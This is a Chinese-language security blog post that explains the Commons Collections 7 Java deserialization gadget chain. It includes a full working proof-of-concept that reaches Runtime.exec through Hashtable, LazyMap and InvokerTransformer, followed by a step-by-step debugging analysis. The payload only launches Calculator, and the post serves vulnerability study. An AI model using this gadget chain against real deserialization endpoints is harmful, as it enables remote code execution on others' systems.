• CommonsCollection7反序列化链学习


    CommonsCollections7

    1、前置知识

    Hashtable

    Hashtable实现了Map接口和Serializable接口,因此,Hashtable现在集成到了集合框架中。它和HashMap类很相似,但是它支持同步,像HashMap一样,Hashtable在哈希表中存储键/值对。当使用一个哈希表,要指定用作键的对象,以及要链接到该键的值。然后,该键经过哈希处理,所得到的散列码被用作存储在该表中值的索引。

    //默认没有参数的构造方,新建为11容量的Hashtable
    public Hashtable() {
      this(11, 0.75f);
    }
    //也可以指定容量
    public Hashtable(int initialCapacity) {
      this(initialCapacity, 0.75f);
    }
    //将指定 key 映射到此哈希表中的指定 value。
    public void put(Object key, Object value)
     //
    private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
    

    2、POC利用

    2.1、利用链

    /*
        Payload method chain:
        java.util.Hashtable.readObject
        java.util.Hashtable.reconstitutionPut
        org.apache.commons.collections.map.AbstractMapDecorator.equals
        java.util.AbstractMap.equals
        org.apache.commons.collections.map.LazyMap.get
        org.apache.commons.collections.functors.ChainedTransformer.transform
        org.apache.commons.collections.functors.InvokerTransformer.transform
        java.lang.reflect.Method.invoke
        sun.reflect.DelegatingMethodAccessorImpl.invoke
        sun.reflect.NativeMethodAccessorImpl.invoke
        sun.reflect.NativeMethodAccessorImpl.invoke0
        java.lang.Runtime.exec
    */
    

    2.2、POC

    2.2.1、漏洞复现

    package com.akkacloud;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.LazyMap;
    
    import java.io.FileInputStream;
    import java.io.FileOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Field;
    import java.util.HashMap;
    import java.util.Hashtable;
    import java.util.Map;
    
    public class CommonsCollection7 {
        public static void main(String[] args) throws Exception {
            // Reusing transformer chain and LazyMap gadgets from previous payloads
    
            final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
    
            final Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",
                            new Class[]{String.class, Class[].class},
                            new Object[]{"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke",
                            new Class[]{Object.class, Object[].class},
                            new Object[]{null, new Object[0]}),
                    new InvokerTransformer("exec",
                            new Class[]{String.class},
                            new Object[]{"open /System/Applications/Calculator.app"})
                   };
    
            Map innerMap1 = new HashMap();
            Map innerMap2 = new HashMap();
    
    
            //使用冲突哈希创建两个Lazymap,以便在readObject期间强制成功进入for循环调用reconstitutionPut
            Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
            lazyMap1.put("yy", 1);
    
            Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
            lazyMap2.put("zZ", 1);
    
            // Use the colliding Maps as keys in Hashtable
            Hashtable hashtable = new Hashtable();
            hashtable.put(lazyMap1, 1);
            hashtable.put(lazyMap2, 2);
    
            Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
            iTransformers.setAccessible(true);
            iTransformers.set(transformerChain,transformers);
    
    
            // Needed to ensure hash collision after previous manipulations
            lazyMap2.remove("yy");
    
    
    //        serialize(hashtable);
            unserialize();
        }
        public static void serialize(Object obj ) throws Exception{
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.bin"));
            objectOutputStream.writeObject(obj);
        }
        public static void unserialize() throws Exception{
            ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.bin"));
            objectInputStream.readObject();
        }
    }
    
    

    image-20220404220026210

    2.2.2、POC分析

    由于跟cc6很相似,不再重复说明,直接看两者不同的地方.

    主要是hashtable的add方法把Lazymap加入其中,但是为什么要put两次呢,就是存两个lazyMap2到hashtable中呢?

    Map innerMap1 = new HashMap();
    Map innerMap2 = new HashMap();
    
    //使用冲突哈希创建两个Lazymap,以便在readObject期间强制进行元素比较
    Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
    lazyMap1.put("yy", 1);
    
    Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
    lazyMap2.put("zZ", 1);
    
    // Use the colliding Maps as keys in Hashtable
    Hashtable hashtable = new Hashtable();
    hashtable.put(lazyMap1, 1);
    hashtable.put(lazyMap2, 2);
    
    Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
    iTransformers.setAccessible(true);
    iTransformers.set(transformerChain,transformers);
    
    
    // Needed to ensure hash collision after previous manipulations
    lazyMap2.remove("yy");
    

    我们来看Hashtable的readObject方法。发现循环调用调用reconstitutionPut方法,elements就是我们传入Hashtable的元素个数,

    先看传入的第一个元素既lazymap1,reconstitutionPut方法的参数table就是一个长度为5的空Entry<>[],key是Lazymap1,value为1,就是我们第一个put进去的元素。跟进reconstitutionPut

    image-20220404221339259

    我们的漏洞点在for循环里面,但是第一次我们的tab为空,根本进不去,但是在后面会用我们传入的key和value新创建一个Entry<>,并且赋值给tab[index],这就是我们为什么要put两个lazymap到Hashtable里,用于进入reconstitutionPut的for循环去触发我们的漏洞点equal方法。

    image-20220404221941210

    至于最后的lazyMap2.remove("yy"),就是因为我们我们真正在LazyMap中要确保没有键值对关系,才能调用transform方法,跟cc6的一样的理由,不懂可以仔细看看cc6

    image-20220404223028371

    2.2.3、POC调试

    在Hashtable的readObject方法处打断点,第一遍进入reconstitutionPut

    image-20220404223326517

    第一遍进入的主要目的是为了给tab赋值,以便第二次可以进入循环的equal方法

    image-20220404223432934

    第二遍成功进入for循环,此时的key就是我们设置空的lazymap

    image-20220404223636082

    跟进AbstractMapDecorator的equal方法,继续进入equal方法

    image-20220404223820644

    AbstractMap的equal方法,获取我们传入的lazymap的key和value,key为lazymap,value就是1,我们一开始构造的空lazymap,进入get方法,m就是我们传入的lazymap,所以是进入到lazymap的get方法,继续跟进

    image-20220404224701046

    进入lazymap后,就会反射把lazymap中ChainedTransformer修改为我们的恶意类。此处就是为什么要去除yy键值对的关系(lazyMap2.remove("yy");),去除后才能进入if里面执行transform方法。

    image-20220404225318142

    继续跟进ChainedTransformer的transform方法,循环结束就会RCE

    image-20220404225416345

    2.3、思维导图

    image-20220404230450430

    参考链接
    https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections7.java
    https://www.cnblogs.com/nice0e3/p/13910833.html

  • 相关阅读:
    rmq批量消息
    MODNet:基于目标分解的实时trimap-free肖像抠图
    【服务器数据恢复】RAID5强制上线后又被格式化的数据恢复案例
    使用turtle绘图:绘制“点“:dot()绘制“标记“:stamp()
    2 JavaScript in HTML
    不影响原来python2的情况下安装python3
    来测测你的智力——智力题
    数据结构与算法-第六章 图的应用 拓扑排序
    RedisTemplate中opsForValue和opsForList方法的使用详解
    应用架构的演进:亚马逊的微服务实践
  • 原文地址:https://www.cnblogs.com/akka1/p/16100971.html